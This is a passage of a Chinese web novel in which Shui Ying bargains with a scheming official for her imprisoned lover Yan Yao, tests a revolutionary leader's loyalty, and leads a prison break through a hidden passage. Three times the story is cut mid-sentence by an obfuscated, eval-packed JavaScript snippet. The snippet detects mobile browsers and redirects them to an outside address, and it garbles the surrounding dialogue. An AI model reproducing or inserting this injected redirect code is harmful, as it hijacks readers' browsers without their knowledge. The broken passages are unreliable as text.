对此,水影决定正面回应:“我愿意以我的生命起誓,巡捕房一定不会为难大家,更不会朝着你们开枪。我已经联系好了,到时候他们并不会阻拦你们,只要大家不太激动,按照既定的路线游行,一定能和平解决的。” 她之所以能这么自信地说出这句话,是因为她已经联系了詹姆斯,詹姆斯现在是代总督查,和炎曜关系很好,这点忙他还是要给的。 其实,詹姆斯一直敬重炎曜的为人,知道他被捕的消息也是义愤填膺的,只是不知道怎么办,像热锅上的蚂蚁一般。以炎曜的才学,如果英年早逝简直是上海滩的一大损失,还好水影联系了他,他是很乐意帮忙的。虽然他在公共租界,可游行队伍会从这里开始,詹姆斯会派巡捕一路跟着,名义上是避免发生乱子,实际上会控制住局面。 众人这才让稍稍放下心来,说一定参加明天的游行,要水影放心。 117. 死亡谈判 这次的游行声势浩大,北洋政府高层果然松了口,他们同意了诉求,派出高官赵世炎出来谈判,白明礼作为秘书,也出席了。赵世炎一向有“老狐狸”的名号,最善操控人心,在谈判桌上从无败绩。 他们坐在宽敞的谈判室里,气氛却很凝重,水影眼神坚定而冷静,她知道,这场谈判对炎曜的生死至关重要。 二人握手后,坐在了谈判桌的两边。 “赵先生,百闻不如一见。”水影淡然道。 “水小姐真人看起来更加漂亮呢,”他笑着调侃:“都说美人如花隔云端,希望在接下来的谈判里我可不要中水小姐的美人计哩。” “赵先生是政府的股肱之臣,怎么会中那些雕虫小技?”水影四两拨千斤道。 赵世炎扬声问:“我一向不喜欢绕弯子,我们也知道这次谈判是为了什么,那就开门见山吧。” 既然对方已经打开天窗说亮话了,水影也不藏着掖着了,从皮包里拿出支票,“这里是一张空白支票,赵先生大可以自己写一个数字上去,只要我能办到,就算是倾家荡产也不会眨一眼。” “不是钱不钱的问题,这案子闹得很大,如今上面查得严,我就算收了钱,也要有命花不是?”赵世炎耸耸肩,“说吧,水小姐的诉求是什么?” 虽然第一道攻势没作用,水影也没灰心,而是开口道:“我们的诉求很简单,放了炎曜,并登报恢复他的名誉。” 赵世炎心想:小姑娘年纪不大,口气倒是不小。 他状似无奈道:“实话告诉你吧,炎曜已经招供了,既然他罪名已经坐实了,我们肯定不能放了他,看在他这些年没有功劳也有苦劳的份上,最多不执行死刑,可是牢狱之灾是免不了的,到时候出了什么意外,水小姐可不要哭鼻子哦。”他捋捋胡子,眯着眼,更像一只老狐狸了。 水影脑中飞快思索着,难道炎曜真的会招供?不由得悄悄看了白明礼一眼,只见他低头记录着,突然摸了摸鼻子,这就是心虚的表现。 水影心下已有了对策,朗声说:“我不相信炎曜会招供,除非赵先生将他的认罪书拿出来,如果没有,就代表有人刚才说了谎。”赵世炎目光有些躲闪,身体不由自主有些退后,水影心想:这赵世炎一定是在诈她。 “如今我们的谈判,我希望建立在双方诚实的基础上,开诚布公才有的谈,而不是耍一些不入流的小心机。”水影意有所指道。 赵世炎有些吃瘪,冷着脸说:“水小姐,你到底要怎样?政府不是慈善机构,更不是说来就来说走就走的地方,如果炎曜不是革命党,又怎么会那么巧去他们接头的破庙?铁证如山,不由得你狡辩。” “如今不是我想怎样,而是你们想怎样,您刚才说的真的是铁证吗?不见得吧。实话告诉你,炎曜一直同我一起赈济灾民,而破庙里住了许多流浪之人,每逢闲暇时,我们总会去给灾民送些温暖,只是碰巧和他们接头的时间重合了,难道这也不许?!我倒不知,如今做善事也是有罪?”水影不卑不亢道,却让人挑不出错。 好个伶牙俐齿的小丫头,赵世炎心里恨得牙痒痒,其实一开始他是完全没把水影放在眼里的,想他赵世炎风风雨雨几十年,什么大风大浪没见过,怎么会被一个丫头打败?说出去岂不是笑掉了大牙。 赵世炎突然笑了,徐徐道:“水小姐,要不我们二人各退一步吧,你答应我的条件,我就放了炎曜,如何?” 水影仿佛看到了一丝转机,可赵世炎这个老狐狸哪有那么容易松口,还是先听听他说什么吧。 “其实炎曜是不是革命党,上面也没那么关心。我们何不达成一个共识,我这里倒有一个双赢的解决方案。”他身体前倾,眼中露出了一丝玩味。 水影却不信能有这等好事,看他表面上说的如此云淡风轻,背地里还不知在玩些什么阴谋诡计,她做了个手势,示意他请说。 “我们最近得到消息,顾茉和刘敬则已经秘密潜入了上海滩,他们可是革命党的大人物,这是铁板钉钉的事实,水小姐,你帮我们引出这二人,或者直接杀了这二人,我就放了炎曜,怎样?” 水影的目光越来越冷,狡猾的赵世炎,居然要用这个来交换,真是心机颇深,打的一手好算盘。 “赵先生,你说笑了,我怎么会认识革命党?甚至我从来都没听过他们二人的名字,再说了,如果我真的认识,你不得把我抓进去严刑伺候,说我与他们有勾结?” “水小姐,事实怎样,你我心知肚明,你放心,只要抓到这二人,我不会再牵连其他人,包括你和炎曜。”赵世炎扬了扬下巴道。 水影毫不畏惧地回应:“请恕我无法答应,你就不怕我们继续组织游行,到时候民怨沸扬,赵先生便不好向上面交代了。” 二人眼神交错,仿佛在窥探对方的心思与最后的底牌。 赵世炎故意挑着眉说:“水小姐,不要这么慌忙做决定呀,我劝你好好想想这个条件,你我等得,可是炎曜呢,他能等吗?”赵世炎的语气刻薄而恶毒,“实话告诉你吧,炎督查真是个硬骨头,我们怎么折磨他,可他就是不承认,现下只剩最后一口气了,我可不敢保证明早会发生点什么意外,到时候,水小姐可不要怪我!当然了,如果他不幸在监狱里一命呜呼了,水小姐大可以找人闹,可是那个时候嘛,人死如灯灭,你就算闹成功了,可人也回不来了,多么可惜,炎督查今年,还不到三十岁吧,如果这么年轻就死了,真是英年早逝咯……” 他的话语每一个字都是冰冷的刀子,一刀一刀地割在水影心头。 水影眼睛通红,“你们到底把炎曜怎么样了?如果他死了,我不会放过你们的!” 如今炎曜在他们手中,危在旦夕,这是他们的底牌,也是水影的软肋。 赵世炎敲了一下桌子,警告道:“俗话说得好,民不与官斗,水小姐是聪明人,还是好好考虑我的提议吧。乱世之中,明哲保身最为重要,什么乱七八糟的都是假的,更别提那些只见过一两面的陌生人了。如今别看革命党闹得欢,可他们全是一群乌合之辈,草台班子,能成什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221897|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气候?牺牲顾茉和刘敬则这两个与你没什么关系的人,换回你心爱的炎督查,多么划算的买卖!再说了,以北洋政府的能力,难道还抓不到这两个小喽啰?水小姐啊,我这是在给你机会,如果你能立功了,炎督查自然能够回来。” 他的目光仿佛在说:小丫头片子,不要给脸不要脸。 水影强迫自己冷静下来,她如今最需要的就是理智,不被情感左右,她沉声说:“一换二,不知是你高估了我的本事,还是你当他们都是傻子,能任我摆布?赵先生,希望你不要太贪心了,也不要把别人都当傻子。你可以利益为先,可这世上不是每个人都和你一样。” 赵世炎一拍桌子,“你大胆!” 水影也一拍桌子,“谈判桌上可不是比谁嗓子大,赵先生!” 她特意加重了赵先生三个字。 “好,算你厉害,顾茉我可以不要,可是刘敬则的命,我一定要!这是我最后的底线!一命换一命,很公平吧。”赵世炎心想:如今刘敬则可是对面的主心骨,顾茉不过是个黄毛丫头,如果刘敬则死了,想抓其他人还不是易如反掌? 他起身准备离开,拍拍身上的灰尘,道:“水小姐,我还有事,你慢慢考虑,可是也不要让我等太久。监狱里最近新研究了一种有趣的玩意儿,用烧红的铁丝穿过人的身体,再来回拉扯,人嘛,不会马上死,可是却生不如死,最后就算被救了也活不了了。如果你忍心让炎督查受这份罪,那就请便吧。” “你敢?!”水影咬牙切齿道。 “这有什么不敢的,对待乱臣贼子,就得上点特殊手段。” 事到如今,水影也只能打出她的底牌了,她从手提包里拿出一个玩具小汽车,“赵先生,你可认得这是什么?国外订做的玩具,看来他父亲对他很宠爱啊。” 赵世炎目光一凉,回到了谈判桌。 “鑫鑫,你们把鑫鑫怎么样了?”赵世炎有些惊慌。 其实用别人的家人来威胁,水影是不耻的,可她也没有办法,难道真的要眼睁睁地看到炎曜去死?她只能无所不用其极。 “他很好,赵先生大可放心,只是现在,还希望赵先生再考虑一下我的提议和诉求。” “行,算你们狠。”赵世炎扶着座椅把手,沉吟了一下,“都说家丑不可外扬,可都到这个地步了,我也不遮遮掩掩了。其实,鑫鑫是我外面的女人的孩子,因为我夫人迟迟没有生育才抱养过来的,当做我正妻生的孩子,可是,我夫人最近居然怀孕了,你觉得,她还会非要我去救一个这样的孩子吗?很可惜,不能如水小姐的意了,对于鑫鑫,你们爱怎么做就怎么做吧。” 赵世炎再度站起身,“明早九点,这是我最后的期限,如果没有等到水小姐的答复,那就代表,炎督查会尝尝这铁丝的滋味了。” 说完便离开了。 白明礼虽然不忍,却也跟在赵世炎身后离开了,只觉得这场谈判真是腥风血雨,水影其实已经做得很好了,大大地超出了他的预期,接下来就看她怎么选择了吧。 118. 主动权之争 水影脚下像踩着棉花一般走出了办公大楼,阿凝和杰克赶忙迎上去,“怎么样了,他们答应了吗?” 水影面色凝重,摇了一下头。 阿凝与杰克顿时像霜打的茄子,蔫了。 “水小姐,你打出最后的底牌了吗?”杰克问。 水影说:“是,可惜失败了。” “那那个孩子呢,水小姐打算怎样?” “放了吧。”虽然十分挫败,水影还是淡淡道。 她到底是不会伤害一个无辜孩童的,只是想以他威胁赵世炎,都说虎毒不食子,没想到对方居然不按常理出牌。 阿凝心中烦闷:“事情难道就没有办法了吗?” “他给了我一个提议,要我想清楚,你们让我静静,我想一个人思考一下。”水影低声补了句。 她望向了天空,只见天空阴沉沉的,好像随时都会下雨,正如她的心情,只觉得自己如汪洋大海上的一棵小草,不知漂向何方…… *** 昏暗的房间里,只点了两排篝火,血魔,也就是梅三霍,戴着面具,高高地坐在台上。 手下带来了一个蒙着眼睛的青年人,那人一身长衫,身材颀长,正是李皖。 “李少帅,久仰久仰。”那人正色道。 李皖的心跳不由得加快,他们曾经费尽心思要追寻的血魔,便就在眼前了,只离他五米远。他甚至能看到他淡漠的眼珠,将万物都不放在眼里的神情。 “那伽王大人,闻名不如见面。” “谢谢李少帅亲自前来,想必事情已经都按约定安排好了?”那人神色疏离道。 李皖点头,“今日我穿便装过来见你,就是想掩人耳目,总要亲自看看和我约定之人的样子吧。” “那让你失望了吗?”那人问。 “怎么会?和我想象的气势一模一样。”李皖拱了拱手。 那人也不浪费时间,直截了当地说:“炸药也已经准备就位了,不多时,这座城市就会毁于一旦,唯有毁灭后才可真正的重生,我们也是为上海滩做了一件大好事。” “只可惜,会死很多人,很多很多人。” “那又怎样?成大事者从不拘小节,为了暗夜计划而死,他们死得其所。” 李皖有些佩服他的冷血,“那之后呢?那伽王大人会依言与我二分上海滩吗?” “当然了。”那人声音优雅道:“为了感谢少帅与我共谋大计,我自然会遵守诺言。” “五千皖军已经埋伏在上海滩距离三十里的长柏坡,那是一处荒地,没有任何人发现我们的计划。” “很好,少帅办事,我自然是放心的。” “事情定在什么时候,已经决定好了吗?” “少帅,这件事事关机密,请恕我不能透露,我只能告诉你,我心下已经有了决断,因为那个时间,对我有特殊的含义。在那日中午,世界将会迎来新的秩序,新的规则,人们也将迎来新的曙光!一切都会是崭新的!” “在此之前,我还有一个请求。” “嗯?” “我想见炎曜一面,我知道,你一定有办法做到。” 见那人没有说话,李皖沉声道:“我与他,早就是不死不休的仇敌了,他曾目睹过我最狼狈的样子,还抢了我最爱的女人,所以现在我一定要见他一面,好好嘲弄羞辱他一番,让他知道,现在的他,就像一只可怜的蚂蚁,只能匍匐在我的脚下……这是我作为男人的自尊心,希望那伽王大人答应。” “倒是有意思,我倒也想看看,高高在上的炎督查跌落凡尘的样子,一定很有趣。”那人沉吟了一下,道,“你回去等消息吧,今天晚上,会有人联系你的。” *** 这天下午,周记制衣店闭门谢客了,周遭环境实在安静的有些可怕,连过往的行人都少了许多,不知发生了什么事情。 顾茉和刘敬则正在谈话,却听到后门传来敲门声,“咚咚咚——” 顾茉和刘敬则对视了一眼,顾茉拿出手枪,守在门口,刘敬则状似寻常地问:“谁啊?” “是我。”水影压低声音道,她经过了乔装改扮,穿一身男子西服,外套黑色大衣,将帽檐压得低低的,任谁也认不出来。 顾茉这才快步打开木门。 水影进了屋子,脱了帽子,刘敬则问:“有眉目了吗?谈判进行得怎么样?” 水影叹了口气,摇头说:“失败了,我的方法都用尽了,可对方连自己的亲生儿子都不在意,油盐不进的,从赵世炎入手是没指望了。”顿了顿,“可是,他提出了一个条件,如果我能答应,他就会放了炎曜。” “可恶。”顾茉捶了一下桌子,又抬头问:“是什么条件,我们能帮忙吗?” 水影停顿了一秒,点头,下一秒就掏出一把手枪,对准刘敬则的脑袋。 “影儿,你在干什么?!”顾茉眼中写满了惊讶。 刘敬则却岿然不动,他似乎已经猜到,对方的条件是什么。 顾茉几乎是下意识的,拿出手枪对准水影。 水影心烦意乱道:“茉儿,我没有办法,如果我不答应,他们明早就会让炎曜受铁丝穿身之刑,受刑之后,不光生不如死,就算是神仙也难救了。” 顾茉疾言厉声:“可是刘叔是无辜的!” “难道炎曜就不无辜吗?我没有理由要他为了你们的事业而牺牲,我做不到!”水影用枪顶住刘敬则的脑袋。 刘敬则转头对顾茉说:“小顾,你不要怪水小姐,人人心中都有一杆称,一个刘敬则死了,还有千千万万个刘敬则站起来。如果我死了,希望你继续我们的事业,不要放弃!等我死后,你千万不可为我报仇,切记切记。小顾,听我的,现在你放下枪,不要对水小姐不利。” 顾茉依言放下了枪,哭着摇头,“影儿,你放开刘叔,他们不是要我们革命党人的命吗?我愿意用我的命,来换他的命!” 顾茉出生在北平一个普通人家,从小就没了父亲,她不忍于普通百姓受欺压,便在刘敬则的引领下加入了革命。刘敬则对她就像亲生父亲一样,二人感情很深,而且他是他们的顶梁柱,他们不能没有他! 水影冷脸说:“我不要你的命,只要他的。” 刘敬则并不慌乱,而是镇定地说:“自从选择了这个信仰,我就每天都为死亡做准备,炎曜和他父亲对我们有大恩,俗话说滴水之恩当涌泉相报,我的命你尽管拿走,我愿意以我一死,来换炎曜活着!” 刘敬则闭上了眼睛,等待着生命的落幕。 水影面无表情,“你真的不会后悔吗?” “敬则不后悔,既然你做好决定了,那么我的命,你尽管拿去!” 顾茉泣不成声地哀求:“影儿,不要啊,不要……我们这次来上海滩就是为了营救炎曜的,你不要冲动,我们一定还有别的办法救炎曜出来的……” “你闭嘴!”水影冷淡道,又对刘敬则说:“我最后再问你一遍,你真的愿意用自己的命换炎曜的命吗?” “我愿意!”刘敬则面不改色道。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234996|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。” 水影手指轻移,扣动了扳机。 刘敬则眉头一皱,却没有听到意料之中的枪响。 水影收了枪,隐去了冰冷的神色,终于说:“刘先生,恭喜你,通过了我的考验,刚才失礼了。” 顾茉像在做梦一般,完全不知道发生了什么,刘敬则也是一脸疑惑。 水影徐徐道:“这的确是赵世炎提出来的条件,他给我两个选择,要么刘先生死,要么炎曜死。可是,我为什么要听他的,世间之大,凭什么只有这两个选择呢?” 刘敬则面带欣赏地望着她。 水影继续说:“今天中午,我在黄浦江吹了一中午的风,就是要让自己冷静下来,便想到了这个考验,如果你愿意牺牲自己的性命去救炎曜,就代表你是个值得信任的君子,那么我也愿意拼尽全力去保全你的命。如今之计,只有劫狱这一条选择了,但是,这可是杀头的大罪,我不能与我不能完全信任的人合作,这也是我设置考验的原因,如果你通过考验,就代表我可以百分之一百地信任您。” 顾茉擦了擦眼泪,捶了水影一下,“影儿,你吓死我了,我还以为……还以为……”她仍在后怕,鸡毛疙瘩都立起来了,还好只是一个考验,“可是,如果刘叔不同意牺牲自己呢?” “那么我便只能自己想办法了,可是我真的在心里祈祷,你们一定不要让我失望,事实上,我赌对了!” 水影想起下午漫步在黄浦江的场景,那时的她心乱如麻,任风吹乱头发也毫不在意。 说实话,她真的有些动摇,一想到炎曜在狱中生死未明,心中就像压了一块沉甸甸的石头,其实赵世炎说的也没错,刘敬则她根本只见了一面,完全就没有多深的交情…… 但是,如果她真的这样做了,余生肯定会不得安宁,日日生活在愧疚中,据顾茉说,刘敬则是革命党重要的领导者,如果他死了,他们就会群龙无首,许许多多的革命党人可能会被牵连,到时候死的,可能是数以千计的人……想必炎曜在这里,也不会支持这个选择,他是那么正直的人,必会以这种不义之举为耻。 如果她不答应呢,水影心想,炎曜就会死,她将再也见不到那双温暖的眼眸,从此,世上只会余她一个人。她已经尝过一次失去他的痛苦了,难道还要再尝第二次吗? 孰轻孰重,她真的不知道怎么选。 水影看着滔滔江水,只觉得逝者如斯夫,不舍昼夜,历史的长河多么漫长,一个人的一生,可能只在史书上留下短短的几行字,甚至更多的人,不会留下只言片语,从这个角度看,人类实在太渺小了,一生也实在太短暂了。 她的今日的选择,也许在宇宙中只是微不足道的一粒尘埃罢了。 但是这种时候对于个体来说,又太难熬了,难熬地想死……人生只有几个关键的节点,落子无悔,她必须做出选择。 等等,她刚才的思路好像一直都被赵世炎所影响,让他的话刻在心里占据了主动权。赵世炎说只有这两条路,难道就真的只有这两条吗? 水影默默握紧拳头,她要将主动权拿回自己的手中,不要让任何其他人摆布! 因为,这是属于她自己的决定! 顾茉的话将她拉回现实:“影儿,我们一定会全力支持你,可是当前最要紧的,是商量出营救炎督查的计划,留给我们的时间,真的不多了。城中潜藏着二十位革命党弟兄,一旦计划落地,他们会全力协助我们。” “好!”水影从口袋里拿出一张图纸,这张图纸,也是他们唯一的希望了。 119. 营救计划 那是北洋政府监狱的地形图,是她请求白明礼帮忙弄到的,水影向他保证,如果他们事情败露,绝对不会拉他下水,他又一直敬仰炎曜与水影的所作所为,便帮了这个忙。 水影将地图铺开,放在桌子上,朗声说:“我们之间,已经是交付过性命的交情了,我现在对你们是绝对的信任,也请你们相信我。这是我托人拿到的监狱地形图,我们研究一下路线吧,以免到时候像无头苍蝇一般,在监狱里迷路。” “很好,你有心了,这地形图真是帮了大忙。”刘敬则补充道:“还有一件事,可以助我们一臂之力,在北洋政府的监狱里,潜藏着一名我们的人,他是那里的狱卒,我们通过他,便能找到炎督查所在的牢房。只是那监狱守备森严,所以我们还是要慎之又慎,以减少伤亡。” “那是当然,谨慎些总不是坏处。”水影点头,又说:“一开始,我们可以要他帮忙在监狱的另一边放一把火,制造混乱,到时候便能声东击西了。” 顾茉也补充道:“派十名兄弟在大门附近,吸引火力,我们再趁乱进入里面。只是看这地图,这监狱比想象中要大好多啊,我们到时候一定要以最快的速度找到炎督查,我担心迟则生变,最多五分钟,我们一定要找到炎督查。” 刘敬则将手指了指地图,“可是有一个问题,到时候狱卒们一定会发现是调虎离山之计,我们如果从原路返回,会在这个岔路口遇到狱卒,到时候难免会展开一场恶战。” 水影似乎想到了什么,皱眉道:“炎曜是重要的犯人,一定关在最里面的地方,那是监狱的南边,我听说他已经受了大刑,从里面走到大门口,我真的很担心,不知他撑不撑的下来。” 顾茉也有些担心,“刚才计算的时间只是我们正常人走路的时间,如果他真的受了大刑,那么炎督查身上有伤,一定走不快,在岔路口遇到狱卒后,他们一定会叫援兵过来,到时候万一被瓮中捉鳖了,我们便一个都逃不掉了。” 刘敬则说:“的确,这是最坏的情况,我们也必须考虑进去,除非……” “除非什么?” “除非我们能找到一条近路,避开这个岔路口。” 顾茉指了指监狱的大门,说:“从地图上看,这个大门是唯一的进出口,有重兵把守,还有一个瞭望台,如果我们动作慢了,有狱卒上到瞭望台联系援兵,那就大事不好了,你们看,监狱附近步行十分钟的地方有一个北洋驻军聚集地,也就是说,如果大批军队闻讯赶来,我们人数太少,一定抵抗不了,所以我们必须切断这个可能性,与时间赛跑!” 水影有些自责,“对不起,要你们豁出性命陪我如此冒险,这份恩情,我一定不会忘记。” 顾茉拍拍她的肩膀,“影儿,别说这种见外的话,你刚才不是说了吗?我们如今是互相可以信任,甚至是托付生命的战友,是战友就要互相帮助,而不是这样自责,说给我们带来了麻烦。” 水影露出感激的目光,只是“时间”这个问题仍然像一把剑一般横亘在他们的心头,是亟待解决的头号问题。 刘敬则迟疑了一下,带来了一条关键线索:“据潜伏的狱卒所说,这监狱还有一个密道,从那密道出去,可以通往后山小树林,若能找到密道,必定能节省时间,也会增大我们劫狱成功的几率。” 密道…… 顾茉不由得眼前一亮,“那他说了这密道在哪里吗?” “这就是问题所在,我刚才犹豫了一下要不要说,就是因为这个。这密道是监狱的最高机密,只有监狱长有权限知道,但是他的嘴很严,谁都不透露,所以那位同僚一直不知道在哪里,只是有一次和其他狱卒喝酒时,有人喝大了,无意间透露的。甚至也许只是一个传说罢了,道听途说的,根本就没有密道的所在。” 水影心想:如今也只有死马当作活马医了。望着那地图,陷入了沉思,能不能从这地形图上找到线索呢? 密道一般都会在设计图纸上进行隐藏,她首先看有没有通往地下的入口或楼梯,可惜并没有,这监狱只有地上一层,并没有什么地下结构。 “有没有什么旋转楼梯或者隐藏门呢?一般这种地方才有可能有密道吧,我们可以认真看看,有没有一些奇怪的地方。”顾茉提议道。 三人在煤油灯下仔仔细细地查看,却并不觉得有什么奇怪,更看不出隐藏门了。 时间已经离晚上八点只有十分钟了,他们要尽快做决定,最晚在八点时,刘敬则一定要离开这里去联系革命党的兄弟,否则便来不及动手了。 水影灵光一闪,“我们能不能从监狱的历史和建造者着手思考呢?” 刘敬则说:“我曾经和卧底在监狱的人聊过,知道这座监狱历史颇为深厚,可以追溯到满清时期,设计这座监狱的人名叫载田,他可是一位能工巧匠,深得当时朝廷的器重,还被授予了“当世鲁班”的称号,那必定是一位匠心独具之人,如果我没记错的话,他十分喜欢对称结构,甚至对此有一种执念。” 对称结构? 水影扫视了一眼,整个监狱果真呈现对称结构,只是……东南角的一处地方,似乎与西北角并不对称,那里,好像有一处凸起,似乎有砖块凸出来。 “你们看这里,好像不对称了?”水影手指点在那处。 刘敬则也有些惊讶,“按理说载田不会犯这种低级的错误,这里会不会有什么玄机?” “你们看,这后面似乎有一块空白的地方,没有一点标注,通往外面的密道,会不会就在这里?!”顾茉像在沙漠中的旅人突然找到了清泉一般,兴奋道。 水影定了定心神,“如今之计,也只有赌一把了,东南角离炎曜所在的南部很近,如果那里真的有密道,将大大节省走路的时间,我们也不必回到那个岔路口和狱卒们硬刚了。” 顾茉抚掌而笑,“好,就这么办!今夜危险重重,我们一起努力!” 刘敬则哈哈一笑,从储物柜里拿出一坛好酒,倒出了三杯。 “来,预祝我们成功!我突然想起了《塞下曲》里的一句诗,想来十分应景——‘万里不惜死,一朝得成功。’” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254410|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万里不惜死,一朝得成功!”三人同时念道,拿起酒杯,仰头喝下,相视一笑。 虽不知今夜会发生什么,可是他们已经拼尽了全力,尽他们所能地做好了最详尽的计划,至于能不能做成,就听天由命了。 …… 北洋政府监狱。 晚上八点的时候,监狱长要狱卒们都打起精神,有大人物要来,一定要做好守卫,不能出半点差池。狱卒岑六连晚饭都没吃尽兴,就被拉出来站岗了。 监狱里有规定,站岗时一定要目不斜视,所以岑六只看到一个模糊的影子在监狱长的带领下进去了。 这人到底是什么来头,居然要监狱长亲自来迎接? 他从来都知道,监狱长是个变色龙,平时对他们神气万分,吆五喝六的,连尾巴都要翘到天上去了,但是对大人物却卑躬屈膝的,这次便又见到了他满脸堆笑的样子。 不过他们都是些小虾米,也没有权限知道这些大人物的私事,他们说什么就是什么吧,不过因为没吃饱饭,岑六倒是憋着一肚子气的。什么大人物不大人物的,站岗这种事情,不过就是撑个场面,做好了不被奖赏,做差了还要挨罚,可真是扫兴。 他继续站着,腿都麻了,那人怎么磨磨唧唧的,还在里面? 好不容易过了半小时,那人终于出来了,监狱长将他送上了黑色轿车,好像拿了赏钱,心情大好的样子,便背着手,说:“弟兄们今天做的不错!” 岑六心里不由得翻了个白眼,不错是不错,也没见你拿出点赏钱犒劳大家啊。 真是铁公鸡一枚! 监狱长走后,他们稍微松快一些了,另一个狱卒龙三提着一壶酒,说:“今天是我儿子结婚,请大家喝酒,沾沾喜气吧!” 有的人说他们还要当值,就不喝了,而岑六却不管这些,他闻了一口,呵呵,还真不错,肚子里的馋虫被勾上来了,他便喝了一杯,又给其他弟兄们倒上。 这龙三也真是,从哪里找来这么一壶酒的,也太香了吧,深藏不漏啊! 时间已经到凌晨三点了,这是一天中夜色最深之时,也是最寂静的时候。 狱卒岑六打了个哈欠,可是不知怎的,眼皮很有些重,平常他经常上夜班的,也没像今天这样,困成这样啊……他强撑着站着,不让自己睡着。 突然,狱中有人大叫:“着火了!大家快来救火啊!” 岑六抄起水桶就去救火,一进门却发现好多狱卒都倒在了地上,他本想跑过去一看究竟,无奈实在没有力气,背后硬生生吃了一闷棍,便倒地不起了。 龙三就是刘敬则在监狱的内应,他本想依计放火,可是前段时间下了场雨,打火石潮了,怎么也点不起火,还好裤兜里有迷药,便下到酒水里,给大家分着喝,可毕竟还是有许多狱卒不喝酒,龙三便高声叫“着火了”,好吸引他们的注意。 见狱卒们都跑进去救火了,水影和顾茉带着兄弟们冲进了监狱。 十人在外围掩护,让水影她们有充足的时间进去。 成败,在此一举! 120. 古代密道 打开手电筒,龙三领着水影和顾茉二人沿着阴暗的牢房过道前进,水影的一颗心只觉得一下喜悦一下悲伤。 喜的是终于可以见到炎曜,而悲的却是如今炎曜受了大刑,还不知变成什么样子。终于来到了一处牢房前,里面躺着一个人,与其说人,还不如说是一滩烂泥。 炎曜就这样趴在稻草地上,耳边还有老鼠和臭虫爬行的声音。 身上全是深深浅浅的鞭子抽打的血痕,还有被烙铁烫过的痕迹,他就那样躺在那里,动也不动,也不知是死是活。龙三撬开锁,水影脚步踉跄,几乎是扑了过去。 “炎曜……炎曜……” 水影将他抱了起来,也不顾他身上的脏污,让他的脑袋搁在自己的肩膀上。 他们怎么能这样,他们怎么敢?! 泪水一滴一滴地落在他身上。 炎曜的眼睛也肿了,他微微睁开眼,想抬起手,却“嘶”了一声,水影这才发现,他的手指和脚指都被拔去了。 “这群畜生!”水影的泪水越来越多,她胡乱地擦了擦眼睛,只觉得情绪几乎失控,可她不能失控,水影不能忘了自己的目的,她一定要带炎曜出去。 他嗓子干的要命,像火烧一般,即使都这样了,却还在安慰她:“是我没用……害你担心……” 水影拼命摇头,“不是的,不是这样的,你还活着就好。” “别哭……别……”炎曜想抬手擦去她的眼泪,可是却一点力气都没有,一双手早就痛的不听使唤了。 “我知道,我都知道,我们快走吧!”水影拼命让自己脑中绷着一根弦,他们现在还不到安全的境地,不能放松! 顾茉心中也很不忍,这次见到炎曜,简直和上次在赫寒之府上见到的是天壤之别,一个是雄姿英发,英俊无俦,高不可攀的租界总督查,一个却是身陷囹圄,浑身脏污,人不人鬼不鬼的囚犯。 其实炎曜本不用身陷险境,他是为了他们才遭此大劫,顾茉愈发坚定了救他出去的决心。 可是炎曜伤的这么重,恐怕连能否站起来都是个问号吧? 炎曜似乎看出了他们的疑虑,眉头微皱,用胳膊支撑着自己坐了起来。 “我可以的。”炎曜只是说,他咬着牙,水影和顾茉便一左一右地扶他起来。 牢里弯弯绕绕,炎曜强撑着和她们一起走,水影早已将地形图记了下来,在一个路口指着某处说:“那边有密道,往前走就是逃生通道。” 仿佛有狱卒往他们这边过来了,水影一颗心砰砰直跳。 不成功,便成仁! 走到标记的那处,果真有一块砖头凸出来,水影在心里求菩萨保佑,伸出手,往前一推…… 却没有任何动静…… 怎么可能?!水影冷汗直冒。 难道是她的推测错误,他们今天都要葬身于此了? 耳边狱卒的脚步声越来越近,岔路口一定已经聚集了很多人,原路返回肯定是不能了…… “砰——砰——砰——” 仿佛能听到自己心跳的声音。 炎曜似乎费了极大力气,低声说:“影影别怕,我相信你。” 他的嘴唇苍白,纸片一般,尽管全身上下已经十分痛苦,那双琥珀色的眼睛却在黑暗里闪烁着坚定的光亮,无形中给了她信心。 顾茉也鼓励道:“影儿,放心大胆地去做吧,就算失败了,不就是一死吗?十八年后又是一条好汉,我们这么多人,黄泉路上也不孤单了。” 水影感激地望了他们一眼,面对如此困境,还好他们仍是相信着她。水影深吸一口气,强迫自己冷静下来,越到紧要关头就越要冷静,一定是她遗漏了什么。 她又回忆刘敬则之前说过的话:监狱的建造者载田自负聪明,最喜欢对称结构…… 对了,对称! “这只是一块砖头,一定还有另一块凸出的砖头与之对称,要两块一起按才能成功!我们快找找,有没有另一块凸起的砖头?” 